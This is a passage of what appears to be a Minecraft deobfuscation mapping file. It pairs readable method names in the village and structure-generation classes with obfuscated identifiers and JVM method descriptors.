net/minecraft/world/gen/structure/StructureComponent/readStructureBaseNBT (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureComponent/func_143009_a (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureComponent/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureComponent/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureComponent/getMetadataWithOffset (Lnet/minecraft/block/Block;I)I net/minecraft/world/gen/structure/StructureComponent/func_151555_a (Lnet/minecraft/block/Block;I)I +MD: net/minecraft/world/gen/structure/StructureComponent/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureComponent/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureComponent/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureComponent/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureComponent/findIntersecting (Ljava/util/List;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureComponent/func_74883_a (Ljava/util/List;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureComponent/createStructureBaseNBT ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/gen/structure/StructureComponent/func_143010_b ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/gen/structure/StructureComponent/getZWithOffset (II)I net/minecraft/world/gen/structure/StructureComponent/func_74873_b (II)I +MD: net/minecraft/world/gen/structure/StructureComponent/clearCurrentPositionBlocksUpwards (Lnet/minecraft/world/World;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureComponent/func_74871_b (Lnet/minecraft/world/World;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureComponent/replaceAirAndLiquidDownwards (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureComponent/func_175808_b (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureComponent/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureComponent/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureComponent/getBoundingBox ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureComponent/func_74874_b ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureComponent/getComponentType ()I net/minecraft/world/gen/structure/StructureComponent/func_74877_c ()I +MD: net/minecraft/world/gen/structure/StructureComponent/getYWithOffset (I)I net/minecraft/world/gen/structure/StructureComponent/func_74862_a (I)I +MD: net/minecraft/world/gen/structure/StructureStart/getBoundingBox ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureStart/func_75071_a ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureStart/writeStructureComponentsToNBT (II)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/gen/structure/StructureStart/func_143021_a (II)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/gen/structure/StructureStart/func_175788_a (Lnet/minecraft/world/ChunkCoordIntPair;)Z net/minecraft/world/gen/structure/StructureStart/func_175788_a (Lnet/minecraft/world/ChunkCoordIntPair;)Z +MD: net/minecraft/world/gen/structure/StructureStart/readStructureComponentsFromNBT (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStart/func_143020_a (Lnet/minecraft/world/World;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStart/markAvailableHeight (Lnet/minecraft/world/World;Ljava/util/Random;I)V net/minecraft/world/gen/structure/StructureStart/func_75067_a (Lnet/minecraft/world/World;Ljava/util/Random;I)V +MD: net/minecraft/world/gen/structure/StructureStart/setRandomHeight (Lnet/minecraft/world/World;Ljava/util/Random;II)V net/minecraft/world/gen/structure/StructureStart/func_75070_a (Lnet/minecraft/world/World;Ljava/util/Random;II)V +MD: net/minecraft/world/gen/structure/StructureStart/generateStructure (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureStart/func_75068_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureStart/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStart/func_143022_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStart/getComponents ()Ljava/util/LinkedList; net/minecraft/world/gen/structure/StructureStart/func_75073_b ()Ljava/util/LinkedList; +MD: net/minecraft/world/gen/structure/StructureStart/func_175787_b (Lnet/minecraft/world/ChunkCoordIntPair;)V net/minecraft/world/gen/structure/StructureStart/func_175787_b (Lnet/minecraft/world/ChunkCoordIntPair;)V +MD: net/minecraft/world/gen/structure/StructureStart/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureStart/func_143017_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureStart/updateBoundingBox ()V net/minecraft/world/gen/structure/StructureStart/func_75072_c ()V +MD: net/minecraft/world/gen/structure/StructureStart/isSizeableStructure ()Z net/minecraft/world/gen/structure/StructureStart/func_75069_d ()Z +MD: net/minecraft/world/gen/structure/StructureStart/getChunkPosX ()I net/minecraft/world/gen/structure/StructureStart/func_143019_e ()I +MD: net/minecraft/world/gen/structure/StructureStart/getChunkPosZ ()I net/minecraft/world/gen/structure/StructureStart/func_143018_f ()I +MD: net/minecraft/world/gen/structure/MapGenVillage$Start/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/MapGenVillage$Start/func_143022_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/MapGenVillage$Start/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/MapGenVillage$Start/func_143017_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/MapGenVillage$Start/isSizeableStructure ()Z net/minecraft/world/gen/structure/MapGenVillage$Start/func_75069_d ()Z +MD: net/minecraft/world/gen/structure/MapGenVillage/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenVillage/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenVillage/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenVillage/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenVillage/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenVillage/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House1/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$House1/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House1/func_175850_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House1; net/minecraft/world/gen/structure/StructureVillagePieces$House1/func_175850_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House1; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House1/func_180779_c (II)I net/minecraft/world/gen/structure/StructureVillagePieces$House1/func_180779_c (II)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_175851_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Field1; net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_175851_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Field1; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_151559_a (Ljava/util/Random;)Lnet/minecraft/block/Block; net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_151559_a (Ljava/util/Random;)Lnet/minecraft/block/Block; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field1/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Field1/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_175852_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Field2; net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_175852_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Field2; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_151560_a (Ljava/util/Random;)Lnet/minecraft/block/Block; net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_151560_a (Ljava/util/Random;)Lnet/minecraft/block/Block; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Field2/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Field2/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Torch/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Torch/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Torch/func_175856_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureVillagePieces$Torch/func_175856_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/canSpawnMoreVillagePieces ()Z net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/func_75086_a ()Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/canSpawnMoreVillagePiecesOfType (I)Z net/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight/func_75085_a (I)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Hall/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Hall/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Hall/func_175857_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Hall; net/minecraft/world/gen/structure/StructureVillagePieces$Hall/func_175857_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Hall; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Hall/func_180779_c (II)I net/minecraft/world/gen/structure/StructureVillagePieces$Hall/func_180779_c (II)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/func_175858_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House4Garden; net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/func_175858_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House4Garden; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$House4Garden/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/func_175853_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$WoodHut; net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/func_175853_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$WoodHut; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$WoodHut/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Church/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Church/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Church/func_175854_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Church; net/minecraft/world/gen/structure/StructureVillagePieces$Church/func_175854_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Church; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Church/func_180779_c (II)I net/minecraft/world/gen/structure/StructureVillagePieces$Church/func_180779_c (II)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_175855_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House2; net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_175855_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House2; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_180779_c (II)I net/minecraft/world/gen/structure/StructureVillagePieces$House2/func_180779_c (II)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Start/getWorldChunkManager ()Lnet/minecraft/world/biome/WorldChunkManager; net/minecraft/world/gen/structure/StructureVillagePieces$Start/func_74925_d ()Lnet/minecraft/world/biome/WorldChunkManager; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_175848_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_175848_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Path/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Path/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House3/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$House3/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$House3/func_175849_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House3; net/minecraft/world/gen/structure/StructureVillagePieces$House3/func_175849_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$House3; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/setBlockState (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175811_a (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/spawnVillagers (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIII)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_74893_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIII)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/fillWithBlocks (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175804_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;IIIIIILnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/state/IBlockState;Z)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175847_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175847_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/canVillageGoDeeper (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_74895_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/getNextComponentNN (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_74891_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175846_a (Z)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175846_a (Z)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/replaceAirAndLiquidDownwards (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_175808_b (Lnet/minecraft/world/World;Lnet/minecraft/block/state/IBlockState;IIILnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/getAverageGroundLevel (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)I net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_74889_b (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/getNextComponentPP (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_74894_b (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;II)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_180779_c (II)I net/minecraft/world/gen/structure/StructureVillagePieces$Village/func_180779_c (II)I +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Well/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureVillagePieces$Well/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureVillagePieces$Well/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureVillagePieces$Well/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureVillagePieces/registerVillagePieces ()V net/minecraft/world/gen/structure/StructureVillagePieces/func_143016_a ()V +MD: net/minecraft/world/gen/structure/StructureVillagePieces/func_176065_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Lnet/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Village; net/minecraft/world/gen/structure/StructureVillagePieces/func_176065_a (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Lnet/minecraft/world/gen/structure/StructureVillagePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureVillagePieces$Village; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/access$000 (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureVillagePieces/access$000 (Lnet/minecraft/world/gen/structure/StructureVillagePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureVillagePieces/func_75079_a (Ljava/util/List;)I 